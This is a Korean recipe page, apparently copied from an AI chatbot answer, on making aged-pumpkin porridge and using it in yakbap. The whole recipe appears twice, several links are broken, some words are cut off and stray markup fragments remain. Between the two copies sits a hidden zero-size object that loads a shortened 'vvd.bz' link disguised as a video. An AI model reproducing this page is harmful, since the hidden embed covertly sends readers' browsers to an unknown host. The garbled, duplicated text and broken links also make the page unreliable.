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<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:36">호박죽, 늙은호박죽 만들기와 약밥 활용법에 대한 자세한 안내</h2><p data-sourcepos="3:1-3:18"><strong>호박죽과 늙은호박죽 만들기</strong></p><p data-sourcepos="5:1-5:111">호박죽은 옛날부터 우리나라 사람들이 즐겨 먹던 건강식품입니다. 특히 늙은 호박은 비타민과 미네랄이 풍부하여 면역력 강화에 좋고, 소화도 잘 되어 어린아이부터 어른까지 누구나 맛있게 즐길 수 있습니다.</p><p data-sourcepos="7:1-7:6"><strong>재료</strong></p><ul data-sourcepos="9:1-14:0">
<li data-sourcepos="9:1-9:12">늙은 호박: 1kg</li>
<li data-sourcepos="10:1-10:8">찹쌀: 1컵</li>
<li data-sourcepos="11:1-11:8">물: 적당량</li>
<li data-sourcepos="12:1-12:8">소금: 약간</li>
<li data-sourcepos="13:1-14:0">설탕: 취향에 따라</li>
</ul><p data-sourcepos="15:1-15:9"><strong>만드는 법</strong></p><ol data-sourcepos="17:1-22:0">
<li data-sourcepos="17:1-17:42">늙은 호박은 껍질을 벗기고 씨를 제거한 후 먹기 좋은 크기로 자릅니다.</li>
<li data-sourcepos="18:1-18:30">찹쌀은 깨끗이 씻어 물에 30분 이상 불려줍니다.</li>
<li data-sourcepos="19:1-19:37">냄비에 늙은 호박과 불린 찹쌀, 물을 넣고 중불에서 끓입니다.</li>
<li data-sourcepos="20:1-20:38">끓어오르면 약불로 줄이고 뭉치지 않도록 저어가며 푹 끓여줍니다.</li>
<li data-sourcepos="21:1-22:0">농도가 적당해지면 소금과 설탕으로 간을 맞추고 불을 끕니다.</li>
</ol><p data-sourcepos="23:1-23:5"><strong>팁</strong></p><ul data-sourcepos="25:1-28:0">
<li data-sourcepos="25:1-25:27">늙은 호박 대신 단호박을 사용해도 맛있습니다.</li>
<li data-sourcepos="26:1-26:25">팥을 삶아 넣으면 더욱 풍미가 깊어집니다.</li>
<li data-sourcepos="27:1-28:0">믹서기를 이용하여 곱게 갈아주면 부드러운 호박죽을 만들 수 있습니다.</li>
</ul><p data-sourcepos="29:1-29:19"><strong>호박죽을 활용한 약밥 만들기</strong></p><p data-sourcepos="31:1-31:35">호박죽을 활용하여 약밥을 만들면 색다른 맛을 즐길 수 있습니다.</p><p data-sourcepos="33:1-33:6"><strong>재료</strong></p><ul data-sourcepos="35:1-38:0">
<li data-sourcepos="35:1-35:9">호박죽: 2컵</li>
<li data-sourcepos="36:1-36:8">밥: 2공기</li>
<li data-sourcepos="37:1-38:0">잣, 건포도, 은행 등: 약간</li>
</ul><p data-sourcepos="39:1-39:9"><strong>만드는 법</strong></p><ol data-sourcepos="41:1-44:0">
<li data-sourcepos="41:1-41:22">밥에 호박죽을 넣고 잘 섞어줍니다.</li>
<li data-sourcepos="42:1-42:27">잣, 건포도, 은행 등을 넣고 버무려줍니다.</li>
<li data-sourcepos="43:1-44:0">찜기에 넣고 10분 정도 쪄주면 완성입니다.</li>
</ol><p data-sourcepos="45:1-45:11"><strong>호박죽의 </strong></p><ul data-sourcepos="47:1-51:0">
<li data-sourcepos="47:1-47:12">소화기 건강에 좋다</li>
<li data-sourcepos="48:1-48:16">면역력 강화에 도움을 준다</li>
<li data-sourcepos="49:1-49:11">피부 미용에 좋다</li>
<li data-sourcepos="50:1-51:0">변비 예방에 적이다</li>
</ul><p data-sourcepos="52:1-52:8"><strong>주의사항</strong></p><ul data-sourcepos="54:1-56:0">
<li data-sourcepos="54:1-54:49">늙은 호박은 성질이 차기 때문에 몸이 찬 사람은 과하게 섭취하지 않는 것이 좋습니다.</li>
<li data-sourcepos="55:1-56:0">당뇨병 환자는 설탕 섭취량을 조절해야 합니다.</li>
</ul><p data-sourcepos="57:1-57:15"><strong>다양한 호박죽 레시피</strong></p><ul data-sourcepos="59:1-63:0">
<li data-sourcepos="59:1-59:17">찬밥을 활용한 호박죽 만들기</li>
<li data-sourcepos="60:1-60:20">찹쌀과 팥을 이용한 호박죽 만들기</li>
<li data-sourcepos="61:1-61:16">녹두를 넣어 만드는 호박죽</li>
<li data-sourcepos="62:1-63:0">밤을 넣어 만드는 호박죽</li>
</ul><p data-sourcepos="64:1-64:33"><strong>더 많은 정보를 원하시면 아래의 링크를 참고해주세요.</strong></p><ul data-sourcepos="66:1-68:0">
<li data-sourcepos="66:1-66:143">늙은호박죽 만드는 2가지 방법/찬밥으로 호박죽 만들기/찹쌀과 팥을 이용해서(김진옥요리가좋다): <response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2337808022="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d5be8b7d8909243e&quot;,&quot;c_056a726fee1104ff&quot;,null,&quot;rc_b087ced3c49615be&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" s://.10000recipe.com/recipe/6987744">https://.10000recipe.com/recipe/6987744</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="67:1-68:0">호박죽 늙은호박죽 만들기 약밥으로 활용하기~~: <response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2337808022="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d5be8b7d8909243e&quot;,&quot;c_056a726fee1104ff&quot;,null,&quot;rc_b087ced3c49615be&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" :///stevenlove/220945538159">http:///stevenlove/220945538159</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
</ul><p data-sourcepos="69:1-69:27"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><h2 data-sourcepos="71:1-71:23">호박죽과 늙은호박죽에 대한 추가 정보</h2><ul data-sourcepos="73:1-76:0">
<li data-sourcepos="73:1-73:59"><strong>계절별 호박 선택:</strong> 가을철 늙은 호박은 당도가 높고 껍질이 단단하여 호박죽에 사용하기 좋습니다.</li>
<li data-sourcepos="74:1-74:58"><strong>호박 손질법:</strong> 늙은 호박은 껍질이 매우 단단하므로 칼을 이용하여 조심스럽게 껍질을 벗겨주세요.</li>
<li data-sourcepos="75:1-76:0"><strong>호박죽 보관법:</strong> 냉장 보관 시 3~4일, 냉동 보관 시 1~2개월 보관할 수 있습니다. 냉동 보관 시에는 밀폐용기에 담아 보관하는 것이 좋습니다.</li>
</ul><p data-sourcepos="77:1-77:22"><strong>호박죽을 더욱 맛있게 즐기는 방법</strong></p><ul data-sourcepos="79:1-82:0">
<li data-sourcepos="79:1-79:31">호박죽에 계피 가루를 넣어 향긋한 풍미를 더해보세요.</li>
<li data-sourcepos="80:1-80:26">호박죽에 견과류를 뿌려 고소함을 더해보세요.</li>
<li data-sourcepos="81:1-82:0">호박죽을 아이스크림과 함께 곁들여 먹으면 색다른 디저트를 즐길 수 있습니다.</li>
</ul><p data-sourcepos="83:1-83:19"><strong>호박죽을 활용한 다양한 요리</strong></p><ul data-sourcepos="85:1-88:0">
<li data-sourcepos="85:1-85:38">호박죽을 이용하여 호박죽빵, 호박죽케이크 등을 만들 수 있습니다.</li>
<li data-sourcepos="86:1-86:28">호박죽을 베이스로 하여 죽을 만들 수 있습니다.</li>
<li data-sourcepos="87:1-88:0">호박죽을 넣어 볶음밥을 만들 수 있습니다.</li>
</ul><p data-sourcepos="89:1-89:29"><strong>호박죽, 건강과 맛을 모두 잡는 최고의 선택!</strong></p><p data-sourcepos="91:1-91:60">호박죽은 맛은 물론 건강에도 좋은 음식입니다. 다양한 레시피를 활용하여 가족과 함께 즐거운 시간을 보내세요.</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/b9ie" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:36">호박죽, 늙은호박죽 만들기와 약밥 활용법에 대한 자세한 안내</h2><p data-sourcepos="3:1-3:18"><strong>호박죽과 늙은호박죽 만들기</strong></p><p data-sourcepos="5:1-5:111">호박죽은 옛날부터 우리나라 사람들이 즐겨 먹던 건강식품입니다. 특히 늙은 호박은 비타민과 미네랄이 풍부하여 면역력 강화에 좋고, 소화도 잘 되어 어린아이부터 어른까지 누구나 맛있게 즐길 수 있습니다.</p><p data-sourcepos="7:1-7:6"><strong>재료</strong></p><ul data-sourcepos="9:1-14:0">
<li data-sourcepos="9:1-9:12">늙은 호박: 1kg</li>
<li data-sourcepos="10:1-10:8">찹쌀: 1컵</li>
<li data-sourcepos="11:1-11:8">물: 적당량</li>
<li data-sourcepos="12:1-12:8">소금: 약간</li>
<li data-sourcepos="13:1-14:0">설탕: 취향에 따라</li>
</ul><p data-sourcepos="15:1-15:9"><strong>만드는 법</strong></p><ol data-sourcepos="17:1-22:0">
<li data-sourcepos="17:1-17:42">늙은 호박은 껍질을 벗기고 씨를 제거한 후 먹기 좋은 크기로 자릅니다.</li>
<li data-sourcepos="18:1-18:30">찹쌀은 깨끗이 씻어 물에 30분 이상 불려줍니다.</li>
<li data-sourcepos="19:1-19:37">냄비에 늙은 호박과 불린 찹쌀, 물을 넣고 중불에서 끓입니다.</li>
<li data-sourcepos="20:1-20:38">끓어오르면 약불로 줄이고 뭉치지 않도록 저어가며 푹 끓여줍니다.</li>
<li data-sourcepos="21:1-22:0">농도가 적당해지면 소금과 설탕으로 간을 맞추고 불을 끕니다.</li>
</ol><p data-sourcepos="23:1-23:5"><strong>팁</strong></p><ul data-sourcepos="25:1-28:0">
<li data-sourcepos="25:1-25:27">늙은 호박 대신 단호박을 사용해도 맛있습니다.</li>
<li data-sourcepos="26:1-26:25">팥을 삶아 넣으면 더욱 풍미가 깊어집니다.</li>
<li data-sourcepos="27:1-28:0">믹서기를 이용하여 곱게 갈아주면 부드러운 호박죽을 만들 수 있습니다.</li>
</ul><p data-sourcepos="29:1-29:19"><strong>호박죽을 활용한 약밥 만들기</strong></p><p data-sourcepos="31:1-31:35">호박죽을 활용하여 약밥을 만들면 색다른 맛을 즐길 수 있습니다.</p><p data-sourcepos="33:1-33:6"><strong>재료</strong></p><ul data-sourcepos="35:1-38:0">
<li data-sourcepos="35:1-35:9">호박죽: 2컵</li>
<li data-sourcepos="36:1-36:8">밥: 2공기</li>
<li data-sourcepos="37:1-38:0">잣, 건포도, 은행 등: 약간</li>
</ul><p data-sourcepos="39:1-39:9"><strong>만드는 법</strong></p><ol data-sourcepos="41:1-44:0">
<li data-sourcepos="41:1-41:22">밥에 호박죽을 넣고 잘 섞어줍니다.</li>
<li data-sourcepos="42:1-42:27">잣, 건포도, 은행 등을 넣고 버무려줍니다.</li>
<li data-sourcepos="43:1-44:0">찜기에 넣고 10분 정도 쪄주면 완성입니다.</li>
</ol><p data-sourcepos="45:1-45:11"><strong>호박죽의 </strong></p><ul data-sourcepos="47:1-51:0">
<li data-sourcepos="47:1-47:12">소화기 건강에 좋다</li>
<li data-sourcepos="48:1-48:16">면역력 강화에 도움을 준다</li>
<li data-sourcepos="49:1-49:11">피부 미용에 좋다</li>
<li data-sourcepos="50:1-51:0">변비 예방에 적이다</li>
</ul><p data-sourcepos="52:1-52:8"><strong>주의사항</strong></p><ul data-sourcepos="54:1-56:0">
<li data-sourcepos="54:1-54:49">늙은 호박은 성질이 차기 때문에 몸이 찬 사람은 과하게 섭취하지 않는 것이 좋습니다.</li>
<li data-sourcepos="55:1-56:0">당뇨병 환자는 설탕 섭취량을 조절해야 합니다.</li>
</ul><p data-sourcepos="57:1-57:15"><strong>다양한 호박죽 레시피</strong></p><ul data-sourcepos="59:1-63:0">
<li data-sourcepos="59:1-59:17">찬밥을 활용한 호박죽 만들기</li>
<li data-sourcepos="60:1-60:20">찹쌀과 팥을 이용한 호박죽 만들기</li>
<li data-sourcepos="61:1-61:16">녹두를 넣어 만드는 호박죽</li>
<li data-sourcepos="62:1-63:0">밤을 넣어 만드는 호박죽</li>
</ul><p data-sourcepos="64:1-64:33"><strong>더 많은 정보를 원하시면 아래의 링크를 참고해주세요.</strong></p><ul data-sourcepos="66:1-68:0">
<li data-sourcepos="66:1-66:143">늙은호박죽 만드는 2가지 방법/찬밥으로 호박죽 만들기/찹쌀과 팥을 이용해서(김진옥요리가좋다): <response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c2337808022="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[["r_d5be8b7d8909243e","c_056a726fee1104ff",null,"rc_b087ced3c49615be",null,null,"ko",null,null,null,null,1,0]]" s://.10000recipe.com/recipe/6987744">https://.10000recipe.com/recipe/6987744</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
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</ul><p data-sourcepos="69:1-69:27"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><h2 data-sourcepos="71:1-71:23">호박죽과 늙은호박죽에 대한 추가 정보</h2><ul data-sourcepos="73:1-76:0">
<li data-sourcepos="73:1-73:59"><strong>계절별 호박 선택:</strong> 가을철 늙은 호박은 당도가 높고 껍질이 단단하여 호박죽에 사용하기 좋습니다.</li>
<li data-sourcepos="74:1-74:58"><strong>호박 손질법:</strong> 늙은 호박은 껍질이 매우 단단하므로 칼을 이용하여 조심스럽게 껍질을 벗겨주세요.</li>
<li data-sourcepos="75:1-76:0"><strong>호박죽 보관법:</strong> 냉장 보관 시 3~4일, 냉동 보관 시 1~2개월 보관할 수 있습니다. 냉동 보관 시에는 밀폐용기에 담아 보관하는 것이 좋습니다.</li>
</ul><p data-sourcepos="77:1-77:22"><strong>호박죽을 더욱 맛있게 즐기는 방법</strong></p><ul data-sourcepos="79:1-82:0">
<li data-sourcepos="79:1-79:31">호박죽에 계피 가루를 넣어 향긋한 풍미를 더해보세요.</li>
<li data-sourcepos="80:1-80:26">호박죽에 견과류를 뿌려 고소함을 더해보세요.</li>
<li data-sourcepos="81:1-82:0">호박죽을 아이스크림과 함께 곁들여 먹으면 색다른 디저트를 즐길 수 있습니다.</li>
</ul><p data-sourcepos="83:1-83:19"><strong>호박죽을 활용한 다양한 요리</strong></p><ul data-sourcepos="85:1-88:0">
<li data-sourcepos="85:1-85:38">호박죽을 이용하여 호박죽빵, 호박죽케이크 등을 만들 수 있습니다.</li>
<li data-sourcepos="86:1-86:28">호박죽을 베이스로 하여 죽을 만들 수 있습니다.</li>
<li data-sourcepos="87:1-88:0">호박죽을 넣어 볶음밥을 만들 수 있습니다.</li>
</ul><p data-sourcepos="89:1-89:29"><strong>호박죽, 건강과 맛을 모두 잡는 최고의 선택!</strong></p><p data-sourcepos="91:1-91:60">호박죽은 맛은 물론 건강에도 좋은 음식입니다. 다양한 레시피를 활용하여 가족과 함께 즐거운 시간을 보내세요.</p></div>
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